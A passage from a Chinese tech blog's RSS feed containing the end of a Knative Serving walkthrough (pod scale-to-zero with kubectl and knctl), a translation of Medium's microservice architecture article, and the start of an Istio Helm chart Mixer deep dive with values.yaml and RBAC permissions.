&lt;p&gt;部署第二个版本之后，起初两个版本的 Pod 都会持续运行：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl get pods --namespace helloworld
NAME                                      READY   STATUS    RESTARTS   AGE
hello-00001-deployment-5864685cbc-v8r7n   3/3     Running   0          1m
hello-00002-deployment-7874bf89b8-4b4k5   3/3     Running   0          29s
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;我们会看到 Knative 自动将没有路由指向的版本缩容到 0。&lt;/p&gt;

&lt;h2 id=&#34;路由&#34;&gt;路由&lt;/h2&gt;

&lt;p&gt;下图展示了路由到服务某版本的过程中所涉及到的 &lt;a href=&#34;https://github.com/knative/serving/blob/master/docs/spec/overview.md&#34; target=&#34;_blank&#34;&gt;Knative Serving&lt;/a&gt; 模块：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/object_model.png&#34; alt=&#34;Object Model&#34; /&gt;&lt;/p&gt;

&lt;p&gt;版本是代码、依赖和配置的的只读快照。没有被路由引用的版本会被放弃，其中的 Kubernetes 资源会被删除。&lt;/p&gt;

&lt;p&gt;我们可以看到当前的路由：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ knctl routes list --namespace helloworld
Routes in namespace &#39;helloworld&#39;

Name   Traffic         All Traffic Assigned  Ready  Domain                        Age
hello  100% -&amp;gt; hello:  true                  true   hello.helloworld.example.com  2h
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;缩容至-0&#34;&gt;缩容至 0&lt;/h2&gt;

&lt;p&gt;如果离开五分钟再回来，你会发现 &lt;code&gt;hello-00002&lt;/code&gt; Pod 正在被终结或者已经不见了：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl get pods --namespace helloworld
NAME                                      READY   STATUS        RESTARTS   AGE
hello-00001-deployment-5864685cbc-v8r7n   3/3     Running       0          6m
hello-00002-deployment-7874bf89b8-4b4k5   2/3     Terminating   0          5m
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;下一次 &lt;code&gt;knctl curl&lt;/code&gt;，Knative 会动态的启动一个 Pod 来满足这一请求。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ knctl curl --namespace helloworld --service hello
$ kubectl get pods --namespace helloworld
NAME                                      READY   STATUS    RESTARTS   AGE
hello-00001-deployment-5864685cbc-v8r7n   3/3     Running   0          8m
hello-00002-deployment-7874bf89b8-kfbm2   3/3     Running   0          10s
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;我还不太清楚为什么 &lt;code&gt;hello-00001-deployment-...&lt;/code&gt; Pod 没有被缩容和终结。&lt;/p&gt;

&lt;h2 id=&#34;未完待续&#34;&gt;未完待续&lt;/h2&gt;

&lt;p&gt;后续文章中将会尝试：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Knative Build 组件：使用 &lt;code&gt;Dockerfile&lt;/code&gt; 或者 Cloud Foundry buildpack 自动从定制代码构建容器镜像（代码可以保存本地或者 Git 仓库之中）。&lt;/li&gt;
&lt;li&gt;为 Kubernetes 的负载均衡设置 DNS，从而为 Knative 路由和服务提供公共 URL。&lt;/li&gt;
&lt;li&gt;在不同版本之间进行流量分割（例如 10% 到最新版本，90% 到前一版本；然后将 100% 分配给新版本，老版本流量降低到 0%）。&lt;/li&gt;
&lt;li&gt;Knative Eventing：在应用中进行 &lt;a href=&#34;https://github.com/cloudevents/spec&#34; target=&#34;_blank&#34;&gt;CloudEvents&lt;/a&gt;的绑定和分发。让你的服务更加“无服务器”。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;社区&#34;&gt;社区&lt;/h2&gt;

&lt;p&gt;Knative 核心团队有自己的 &lt;a href=&#34;https://knative.slack.com/&#34; target=&#34;_blank&#34;&gt;Knative Slack&lt;/a&gt;，可以在 &lt;a href=&#34;https://slack.knative.dev&#34; target=&#34;_blank&#34;&gt;https://slack.knative.dev&lt;/a&gt; 申请加入。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://groups.google.com/forum/#!forum/knative-dev&#34; target=&#34;_blank&#34;&gt;knative-dev Group&lt;/a&gt; 中包含了总结和提议。&lt;/p&gt;

&lt;h2 id=&#34;鸣谢&#34;&gt;鸣谢&lt;/h2&gt;

&lt;p&gt;感谢 Google 的 &lt;a href=&#34;https://m.chmarny.com/&#34; target=&#34;_blank&#34;&gt;Mark Chmarny&lt;/a&gt;，在 2018 Spring One 上首先回应了我的问题。&lt;/p&gt;

&lt;p&gt;感谢 Pivotal 的 &lt;a href=&#34;https://github.com/cppforlife&#34; target=&#34;_blank&#34;&gt;Dmitriy Kalinin&lt;/a&gt; 花时间帮助我将 Knative 运行起来，并给我展示了他的 &lt;a href=&#34;https://github.com/cppforlife/knctl&#34; target=&#34;_blank&#34;&gt;knctl Knative CLI&lt;/a&gt;，以及 &lt;a href=&#34;https://github.com/cppforlife/kwt&#34; target=&#34;_blank&#34;&gt;kwt Kubernetes Workstation Tools&lt;/a&gt;。相对于 YAML + &lt;code&gt;kubectl&lt;/code&gt; 组合来说，一个好用的客户端工具更能够帮助 Knative 走向实用。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Medium 的微服务架构</title>
      <link>/post/microservice-at-medium/</link>
      <pubDate>Sat, 10 Nov 2018 12:09:56 +0800</pubDate>
      <guid>/post/microservice-at-medium/</guid>
      <description>

&lt;p&gt;作者：&lt;a href=&#34;https://medium.engineering/@xiaoma&#34; target=&#34;_blank&#34;&gt;Xiao Ma&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;原文：&lt;a href=&#34;https://medium.engineering/microservice-architecture-at-medium-9c33805eb74f&#34; target=&#34;_blank&#34;&gt;Microservice Architecture at Medium&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;微服务架构的目标是帮助工程团队安全快速地完成高质量的产品交付。良好解耦的服务能够在最小化对其它系统的影响的条件下进行快速迭代。&lt;/p&gt;

&lt;p&gt;2012 年构建的 Node.js 单体应用构成了 Medium 的最初技术栈。我们构建了各种卫星服务，但是并没有提出系统化采用微服务架构的策略。2018 年初，随着系统复杂性的提高和团队规模的扩大，我们开始转向了微服务架构，工作中总结出一些如何高效完成这一过程并避免微服务症候群的经验，本文将分享这一经验。&lt;/p&gt;

&lt;h2 id=&#34;什么是微服务架构&#34;&gt;什么是微服务架构&lt;/h2&gt;

&lt;p&gt;首先我们花费一点时间来思考一下，微服务是什么/不是什么的问题。目前的软件工程有一些滥用和混乱的趋势，微服务就是其中一个。Medium 认为微服务是：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;微服务架构中，多个松耦合的服务协同工作，每个服务聚焦于一个单一的目的，而这一目的相关的数据和行为则在单一服务内高度聚合。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;这一定义中包含了微服务的三个设计原则：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;单一目的：每个服务应该专注于做好一件事。&lt;/li&gt;
&lt;li&gt;低耦合：服务之间极少互相了解。对一个服务的变更不应该要求其它服务也进行变更。服务之间的通信金应该发生在公开的服务接口之中。&lt;/li&gt;
&lt;li&gt;高内聚：每个服务应该对所有相关的行为和数据进行封装。如果需要构建新的功能，所有的变更只应该落地到一个服务之中。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;images/1*f5yQlyPApGNPfauFBe0pTA.png&#34; alt=&#34;微服务建模三要素&#34; /&gt;&lt;/p&gt;

&lt;p&gt;进行微服务建模的过程中使用应遵循这三条原则。这是释放微服务能量的唯一途径，违反任何一条，都会违反微服务模式的理念。&lt;/p&gt;

&lt;p&gt;如果违反了目的单一性原则，每个微服务最终都会负担太多任务，成为多个单体服务。这无法获得微服务应有的好处，并且要付出更多的运维成本。&lt;/p&gt;

&lt;p&gt;不遵守松耦合原则的后果是，一个服务的变更会影响到其它服务，所以也就无法快速安全的进行发布——这是微服务的核心优势。紧密耦合还可能造成数据冲突甚至丢失。&lt;/p&gt;

&lt;p&gt;而如果缺乏内聚性，就会变成分布式的单体系统——为了完成一个功能修改，必须同时变更和部署一堆服务。分布式的单体系统经常比中心化的单体系统更加糟糕，多个服务甚至多个团队的协调过程造成更高的复杂度和成本消耗。&lt;/p&gt;

&lt;p&gt;同时，微服务不是什么，也是个同样重要的问题。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;微服务不一定是一个行数较少、或者完成细小任务的服务。显然，这一个误解是来自于微服务这个名字的。微服务架构的目标不是创建尽可能多的服务。符合上述三个原则的服务，可能结构复杂，可能规模庞大，也一样可以称之为微服务。&lt;/li&gt;
&lt;li&gt;微服务不一定需要用最新的技术进行构建。虽说微服务架构让团队能够更方面的试水新技术，但这不是主要目标。用同样的技术构建所有新服务完全没有问题，团队同样能从服务解耦中获益。&lt;/li&gt;
&lt;li&gt;微服务并不一定需要从头做起。如果已经有了一个架构良好的单体应用，应该避免从头构建所有新服务。可能会有机会对单体服务进行分拆。再一次提醒，上面的三个原则是应当坚守的。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;为什么是现在&#34;&gt;为什么是现在&lt;/h2&gt;

&lt;p&gt;在 Medium 需要在产品或者工程方面作出重大决策时，经常会提出一个问题：为什么是现在？“为什么”是个很明显需要解决的问题，但这个问题的答案在假设我们有无穷的人力、时间和资源，很明显这是一个危险的假设。把这个问题改为“为什么是现在”，就突然出现了很多的制约——对现有工作的影响、机会成本、并行的开销等。这一问帮助我们更好的确定优先级。&lt;/p&gt;

&lt;p&gt;为什么&lt;strong&gt;现在&lt;/strong&gt;要使用微服务架构的原因就是——我们的 Node.js 单体应用在很多方面都成为了瓶颈。&lt;/p&gt;

&lt;p&gt;首先最紧急和重要的瓶颈就是它的性能。有一些重度计算和重度 I/O 的任务并不适合 Node.js。我们一直在持续这一单体应用的改进工作，然而并无起色。低下的性能妨碍了产品改进工作——功能的改进可能让这个已经很慢的应用更加缓慢。&lt;/p&gt;

&lt;p&gt;第二，一个重要且有点紧急的瓶颈就是单体应用拖慢了应用开发过程。所有的工程师都在单一的应用中构建功能，耦合在一起。因为可能存在的互相影响，我们没法轻松的对系统的某一方面做出变更。整个应用作为一个整体进行部署，所以如果一个不良提交导致了问题，那么这次部署中涉及的所有其它变更不论工作状况有多完美，都会受到拖累。而在微服务架构中，团队可以更快的交付、研究和迭代。正在构建的新功能会从其它复杂系统中解耦出来，让开发团队可以专注于此。所以新的变更能够更快的推向生产环境，从而具备了安全尝试变更的机会。&lt;/p&gt;

&lt;p&gt;在我们新的微服务架构中，变更可以在一小时内发布到生产环境上，工程师不必担忧这些变更会对系统其它部分造成多大影响。团队还在探索在开发环境中安全使用生产数据的方法——这可是做了多年的白日梦。随着我们工程师团队的发展壮大，这些因素的重要性也日益提升。&lt;/p&gt;

&lt;p&gt;第三，单体应用中，很难针对部分任务作出性能扩展，也很难针对不同类型的任务进行资源隔离。单体应用只能为整个系统进行伸缩，为了某个资源大户进行整体扩展之后，对系统中其它的相对简单任务来说，系统资源就处于超配状态了。为了缓解这一情况，我们将不同类型的请求发送给不同的 Node.js 进程。这种做法在某种程度上来说是有效的，但是伸缩一样受到限制，这还是因为单体应用的紧耦合特性造成的负担。&lt;/p&gt;

&lt;p&gt;最后一点，也是同样重要的一点。一个即将浮上水面的问题就是单体应用阻止了对新技术的尝试。微服务架构的一个主要优势就在于每个服务可以使用不同的技术栈进行构建，将不同的技术进行整合。微服务架构让我们可以为特定工作选择最优方案，更重要的是，可以更快更安全的完成任务。&lt;/p&gt;

&lt;h2 id=&#34;微服务策略&#34;&gt;微服务策略&lt;/h2&gt;

&lt;p&gt;微服务之路并非一帆风顺，一旦误入歧途就会对生产力造成损害。本节中我们会分享七条策略，这些策略在我们进入微服务架构的初期给了我们很大帮助。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;构建具备清晰价值的新服务。&lt;/li&gt;
&lt;li&gt;单一的持久存储是有害的。&lt;/li&gt;
&lt;li&gt;服务的构建和运行应该解耦。&lt;/li&gt;
&lt;li&gt;详尽、一致的可观察性。&lt;/li&gt;
&lt;li&gt;无需从头构建每个新服务。&lt;/li&gt;
&lt;li&gt;故障总会发生，必须正视。&lt;/li&gt;
&lt;li&gt;从第一天开始预防微服务综合症。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;构建具备清晰价值的新服务&#34;&gt;构建具备清晰价值的新服务&lt;/h3&gt;

&lt;p&gt;可能有人认为采用新的服务架构意味着产品开发的一个暂停，并且需要重写所有东西。这是一种错误方法。我们决不应该为了构建新服务而构建新服务。每次我们构建新服务或者采纳新技术，都必须有明确的业务价值或工程价值。&lt;/p&gt;

&lt;p&gt;我们能交给用户的益处，就是业务价值的体现。相对我们的单体 Node.js 应用而言，新服务应该能够提供更多价值，或者更快的提供价值。工程价值就是让工程团队能够更好更快的工作。&lt;/p&gt;

&lt;p&gt;如果一个新服务并不具备清晰的价值，我们就会把它留在单体应用中。十年之后 Medium 仍然有单体的 Nodejs 应用在服役也并不是什么大不了的事情。从一个单体应用开始，实际上让我们能够更有策略的进行微服务建模。&lt;/p&gt;

&lt;h3 id=&#34;单一的持久存储是有害的&#34;&gt;单一的持久存储是有害的&lt;/h3&gt;

&lt;p&gt;建模微服务的一大部分工作就是对持久化数据存储进行建模。要把微服务整合在一起，共享数据存储看起来是个最方便的做法。事实上这种做法是有害的，我们应该不惜一切代价来避免这种情况。下面解释一下原因。&lt;/p&gt;

&lt;p&gt;首先持久化数据存储事关实现细节。在服务之间共享数据存储就相当于将服务实现的细节暴露给整个系统。如果这个服务修改了数据的格式，或者加入缓存层，又或者更换了不同的数据库，那么很多服务都必须跟进。这违反了松耦合原则。&lt;/p&gt;

&lt;p&gt;其次，持久化数据存储的过程，例如修改、处理和使用数据的方法，并不是服务行为。如果我们在不同服务之间共享数据存储，就意味着其它服务也要复制服务行为。这样就违反了高内聚原则。特定领域的行为被泄漏到多个服务之中。修改了一个行为，就必须修改所有相关其它服务。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;微服务架构中，特定类型的数据只应该由单一的服务负责。所有其它服务要使用这些数据只有两个选择，一是通过 API 向负责的服务发出请求；二是持有一个只读的非权威拷贝。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;这听起来可能有点抽象，下面提供一个具体的例子。假设我们正构建一个新的推荐服务，这一服务需要一些来自发帖数据表中的数据，这些数据目前保存在 AWS DynamoDB 中。我们可以用两种方式把发帖数据提供给新的推荐服务。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/1*PRdrp_MZ3C2KwKHRr83XbA.png&#34; alt=&#34;Sharing data&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在单体存储模型中，推荐服务能够直接访问单体应用的持久化数据。这办法不太好：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;缓存是个麻烦。如果推荐服务共享单体应用的缓存，我们就必须在推荐服务中复制缓存的实现细节；如果推荐服务使用自己的缓存，又无法在单体应用更新发帖数据时进行缓存失效。&lt;/li&gt;
&lt;li&gt;如果单体应用决定用 RDS 替代 DynamoDB 进行发帖数据的存储，我们就必须重新在推荐服务中实现一次，当然所有其它共享这一数据的服务都要重来一次。&lt;/li&gt;
&lt;li&gt;单体应用中处理发帖数据的逻辑比较复杂，例如如何决定一篇帖子是否可以显示给特定用户。我们必须在推荐服务中重新实现这些逻辑。一旦单体应用修改或者添加了新的逻辑，我们也必须在所有相关服务中重新实现。&lt;/li&gt;
&lt;li&gt;不管推荐服务的访问模型如何，它也只能使用 DynamoDB。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;在解耦存储模型中，推荐服务和其它新服务都没有直接访问发帖数据的能力。发帖数据的实现细节只存在于单一的服务中，有不同的方式可以实现这一目标。&lt;/p&gt;

&lt;p&gt;理想情况下，应该又一个发帖服务作为发帖数据的所有者，其它服务职能通过这一服务的 API 来访问发帖数据。然而为所有的核心数据模型构建新服务可能需要高昂的成本。&lt;/p&gt;

&lt;p&gt;在无法采用最佳方案的情况下，还有有两种行之有效的替代方案。视乎不同的数据访问模式，这可能是更实际的方法。选项 B 中，单体应用在相关帖子的数据更新时会通知推荐服务。通常这种操作的时效性要求不高，可以交给队列系统来完成。选项 C 中用 ETL 管道为推荐服务生成了一个帖子数据的只读拷贝，还加入了一些其它潜在可能对推荐服务有用的数据。两种方案里，推荐服务都完全控制了数据，所以它也就具备了正确处理缓存的能力、以及选择合适数据库的自由。&lt;/p&gt;

&lt;h3 id=&#34;服务的构建和运行应该解耦&#34;&gt;服务的构建和运行应该解耦&lt;/h3&gt;

&lt;p&gt;如果说服务构建困难重重的话，服务运行更是难上加难。如果服务的构建和运行耦合在一起的话，会拖慢工程团队，团队必须进行重复实现运行机制。我们希望每个服务能够专注于自身工作，无需担忧运行服务的复杂性，其中包括网络、通信协议、部署、监控等。服务管理应该完全从每个独立服务的实现中解耦出来。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;服务构建和运行的解耦策略，应该是独立的，并且不依赖于特定的服务实现技术，这样应用工程师能够完全投入到各自服务的业务实现之中。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;感谢近年来出现的容器化、容器编排、服务网格、APM 等进步技术，服务运行的解耦比过去任何时候都更加容易实现。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;网络&lt;/strong&gt;：网络（例如服务发现、路由、负载均衡、流量路由等）是服务运行的一个重要因素。传统的方式是为每个平台或者语言都提供库。这是有效的方法，但是不够理想，服务还是需要进行大量工作来完成这些库的集成和管理。有时候应用还要单独实现一些逻辑。现代的解决方案就是在服务网格中运行服务，Medium 使用了 &lt;a href=&#34;https://istio.io/&#34; target=&#34;_blank&#34;&gt;Istio&lt;/a&gt; 和 &lt;a href=&#34;https://www.envoyproxy.io/&#34; target=&#34;_blank&#34;&gt;Envoy&lt;/a&gt; 的 Sidecar 方案。构建服务的工程师完全不需要担心网络问题了。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;通讯协议&lt;/strong&gt;：不管用什么语言或者技术栈来构建微服务，选择一个成熟、高效、典型、跨平台并无需大量开发投入的 RPC 方案都是至关重要的。支持向后兼容的 RPC 方案让部署更加安全。Medium 选择了 &lt;a href=&#34;https://grpc.io/&#34; target=&#34;_blank&#34;&gt;gRPC&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;一个常见的替代方案就是通过 HTTP 实现的 REST+JSON，这个方案在服务通讯领域流行已久。然而虽然这一方案对浏览器和服务器之间的通信很有效，但是对于服务间通信却有些不足，尤其是在发生大量请求的情况下。如果没有自动生成的 Stub 和模板代码，就只能手工实现服务端和客户端代码了。可靠的 RPC 实现不只是封装一个网络客户端。另外虽然 REST 很完备，但是有些细节并不能获得所有人的一致认同。例如一次调用，到底是 REST 还是 RPC？一条消息到底是一个资源还是一个操作？等等。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;部署&lt;/strong&gt;：有稳定的方式来构建、测试、打包、部署和管理服务是非常重要的。Medium 的微服务都运行在容器中。目前我们的系统是 &lt;a href=&#34;https://aws.amazon.com/ecs/&#34; target=&#34;_blank&#34;&gt;AWS ECS&lt;/a&gt; 和 Kubernetes 的混合架构，正在向全 Kubernetes 迁移。&lt;/p&gt;

&lt;p&gt;我们构建了我们自己的系统，称为 BBFD，用来完成构建、测试、打包和部署服务。在保证对不同服务的一视同仁和让各个服务可以使用各自的技术栈的弹性之间取得了一个平衡。每个服务只要提供一些基础信息，例如监听端口、用用构建、测试和运行服务的命令等。BBFD 会完成其它工作。&lt;/p&gt;

&lt;h3 id=&#34;详尽-一致的可观察性&#34;&gt;详尽、一致的可观察性&lt;/h3&gt;

&lt;p&gt;可观察性中包含了过程、方法和工具，让我们能够了解系统的工作状况，并在故障期间对问题进行鉴别。日志、性能跟踪、指标、Dashboard、告警都是可观察性的组成部分，它是能够左右微服务架构成败的关键因素。&lt;/p&gt;

&lt;p&gt;我们从单体服务向多服务构成的分布式系统迁移的过程中，会发生两件事情：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;丢失了可观察性——因为它的难度提高了，且更容易被忽视。&lt;/li&gt;
&lt;li&gt;不同团队都在重新发明轮子，最终导致可观察性呈现为一种碎片状态，这实际上就降低了可观测性，很难用这些碎片数据来对问题进行关联或鉴别。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;从一开始就应该建立良好的持续的可观察性，因此我们的 DevOps 团队提出了一致观察性的策略，并构建工具达成这一目标。每个服务都有详细的 &lt;a href=&#34;https://www.datadoghq.com/&#34; target=&#34;_blank&#34;&gt;DataDog&lt;/a&gt; Dashboard、告警和统一的日志搜索支持。我们还深度使用 &lt;a href=&#34;https://lightstep.com/&#34; target=&#34;_blank&#34;&gt;LightStep&lt;/a&gt; 来进行系统性能方面的分析。&lt;/p&gt;

&lt;h3 id=&#34;无需从头构建每个新服务&#34;&gt;无需从头构建每个新服务。&lt;/h3&gt;

&lt;p&gt;微服务架构中，每个服务的任务都是专注做好自己的事情。这里对如何服务的构建方式并无要求。如果正在从单体应用向微服务架构进行迁移，一个需要注意的问题就是，如果能够从单体应用中剥出目标服务，那么可能并不一定需要从头进行构建。&lt;/p&gt;

&lt;p&gt;针对是否需要从头构建新服务的问题，我们从务实的角度触发，主要考虑了两方面的问题：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Node.js 是否适合新服务的需求。&lt;/li&gt;
&lt;li&gt;用新的技术栈重新实现的成本如何。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;如果 Node.js 是一个合适的选型，并且已有的实现并无不妥，我们就会从单体应用中抽取相关代码，以此作为基础来构建新服务。这样一来，虽然用的是既有实现，同样能够享受到微服务架构的益处。&lt;/p&gt;

&lt;p&gt;我们的 Node.js 单体应用的架构让我们能够比较方便的抽取代码进行新服务的构建。后面我们还会讨论一下如何正确的构建一个单体应用的问题。&lt;/p&gt;

&lt;h3 id=&#34;故障总会发生-必须正视&#34;&gt;故障总会发生，必须正视&lt;/h3&gt;

&lt;p&gt;分布式环境中可能包含更多的故障机会。关键服务的故障如果不能及时处理，可能演变成一场灾难。我们应该随时思考如何完成故障的检测和处理。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;第一也是最重要的，应该意识到所有一切都会在某个点上发生故障。&lt;/li&gt;
&lt;li&gt;RPC 调用尤其需要对故障案例进行着重处理。&lt;/li&gt;
&lt;li&gt;确保系统故障情况下的可观测性（上面刚有提及）。&lt;/li&gt;
&lt;li&gt;新服务上线之前必须针对故障进行测试，故障应对是新服务的 Check List 的一部分。&lt;/li&gt;
&lt;li&gt;尽可能构建自动恢复功能。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;从第一天开始预防微服务综合症&#34;&gt;从第一天开始预防微服务综合症。&lt;/h3&gt;

&lt;p&gt;微服务不是万金油，在解决一些问题的同时，也产生了被称为微服务综合症的新问题。如果我们不从一开始就考虑这个问题，事情有可能变得很麻烦，处理起来也要付出更多代价。下面列出一些常见症状。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;建模粗糙的微服务危害巨大，尤其是在数量较多的情况下。&lt;/li&gt;
&lt;li&gt;引入太多不同的语言和技术，会导致运维成本升高，分化工程团队。&lt;/li&gt;
&lt;li&gt;服务构建和运行相耦合，会导致复杂度的急剧升高并拖慢工程进度。&lt;/li&gt;
&lt;li&gt;忽略数据建模，导致单体数据存储形式的微服务。&lt;/li&gt;
&lt;li&gt;缺乏可观测性，致使性能问题和故障难于定位。&lt;/li&gt;
&lt;li&gt;面对问题时，团队可能选择创建新服务，而不是解决问题——即使解决问题是一个更好的选择。&lt;/li&gt;
&lt;li&gt;缺乏整体视图的松耦合服务群本身就是一个问题。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;是否不该构建单体服务&#34;&gt;是否不该构建单体服务&lt;/h2&gt;

&lt;p&gt;受益于近期的技术革新，使用微服务架构变得容易了很多。这是否意味着我们应该完全杜绝单体服务的构建了？&lt;/p&gt;

&lt;p&gt;不是的。虽说新技术给了微服务更好的支持，但是微服务架构始终是更难更复杂的。对于刚起步的小团队，单体应用依旧是一个更好的选项。然而可以尝试对单体应用架构进行更好的设计，从而降低未来转向微服务架构时所需的投入。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;从单体架构起步没什么问题，但是要保证系统的模块化，并按照上面的三个要素（单一目标、松耦合、高内聚）进行架构设计，最终构建成为一组技术栈一致、同步部署并且运行在同一个进程内的服务。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;我们在 Medium 就在早期为单体应用做出了一些好的架构决策。&lt;/p&gt;

&lt;p&gt;我们的单体应用由高度模块化的组件构成，最终成长为包含 Web Server、后端服务和离线时间处理器的庞然大物。离线处理器单独运行，但是试用了同样的代码。这样就能够相对简单的将业务逻辑抽取出来成为新的服务，新服务能够和之前的实现提供同样的（高级）接口。&lt;/p&gt;

&lt;p&gt;我们的单体应用在较低层次对数据存储进行了封装。每个数据类型（一个数据库表）都有两层实现：数据层和服务层。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;数据层为特定类型的数据提供 CRUD 操作的实现。&lt;/li&gt;
&lt;li&gt;服务层处理特定类型数据的高级逻辑，并为系统的其余部分提供共用 API。服务之间不进行数据存储的共享。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;数据的实现细节对其它部分的代码是完全隐藏的，这种做法帮助我们更好的进行微服务架构的迁移。创建新服务来处理某种数据相对来说是比较轻松和安全的。&lt;/p&gt;

&lt;p&gt;单体应用还帮助我们对微服务进行建模，并让我们可以无需从头做起，而是专注在系统的最重要部分上进行微服务的迁移。&lt;/p&gt;

&lt;h2 id=&#34;结语&#34;&gt;结语&lt;/h2&gt;

&lt;p&gt;多年以来，我们的单体 Node.js 应用发挥了巨大作用，然而对于大项目的交付和快速迭代的要求，开始力不从心，所以我们开始系统地、策略地转向微服务架构。我们的探索才刚刚开始，但是已经看到了它的好处和潜力——它戏剧性的提高了开发生产力、让我们可以从大处着眼并对产品做出大规模的改进，同时工程团队得到解放，能够安全的测试新的技术。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Istio Helm Chart 详解 - Mixer</title>
      <link>/post/istio-helm-deep-dive-mixer/</link>
      <pubDate>Mon, 05 Nov 2018 16:37:23 +0800</pubDate>
      <guid>/post/istio-helm-deep-dive-mixer/</guid>
      <description>

&lt;h2 id=&#34;前言&#34;&gt;前言&lt;/h2&gt;

&lt;p&gt;Mixer 是 Istio 的核心组件之一，负责服务网格中的遥测和策略两部分重要功能，因此 Mixer 的部署也分成了 Policy 和 Telemetry 两部分。&lt;/p&gt;

&lt;h2 id=&#34;values-yaml-中的全局变量&#34;&gt;values.yaml 中的全局变量&lt;/h2&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;mixer:
  enabled: true
  replicaCount: 1
  autoscaleMin: 1
  autoscaleMax: 5
  image: mixer

  istio-policy:
    autoscaleEnabled: true
    autoscaleMin: 1
    autoscaleMax: 5
    cpu:
      targetAverageUtilization: 80

  istio-telemetry:
    autoscaleEnabled: true
    autoscaleMin: 1
    autoscaleMax: 5
    cpu:
      targetAverageUtilization: 80

  prometheusStatsdExporter:
    hub: docker.io/prom
    tag: v0.6.0
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里看到，和我们前面说到的功能分离相同，Policy 和 Telemetry 两个组件也是分别设置了各自的变量。根据前面几篇的经验看，&lt;code&gt;istio-policy&lt;/code&gt; 和 &lt;code&gt;istio-telemetry&lt;/code&gt; 两部分是用于控制两个部署的自动伸缩。而 &lt;code&gt;prometheusStatsdExporter&lt;/code&gt; 部分则是指定了一个镜像，用于提供 Prometheus 监控使用。而从 &lt;code&gt;enable&lt;/code&gt; 位置来看，两个组件是不推荐单独启用的，但是 HPA 是可以分别设置的。&lt;/p&gt;

&lt;h2 id=&#34;rbac-相关&#34;&gt;RBAC 相关&lt;/h2&gt;

&lt;p&gt;这里可以看到，Mixer 的两个组件使用的是同一个 &lt;code&gt;istio-mixer-service-account&lt;/code&gt;，根据对 &lt;code&gt;clusterole.yaml&lt;/code&gt; 的观察，可以看到如下权限：&lt;/p&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;组&lt;/th&gt;
&lt;th&gt;资源&lt;/th&gt;
&lt;th&gt;权限&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;config.istio.io&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;*&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;读写&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;rbac.istio.io&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;*&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;读写&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;apiextensions.k8s.io&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;customresourcedefinitions&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;读&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&amp;quot;&amp;quot;&lt;/code&gt;&lt;/td&gt;
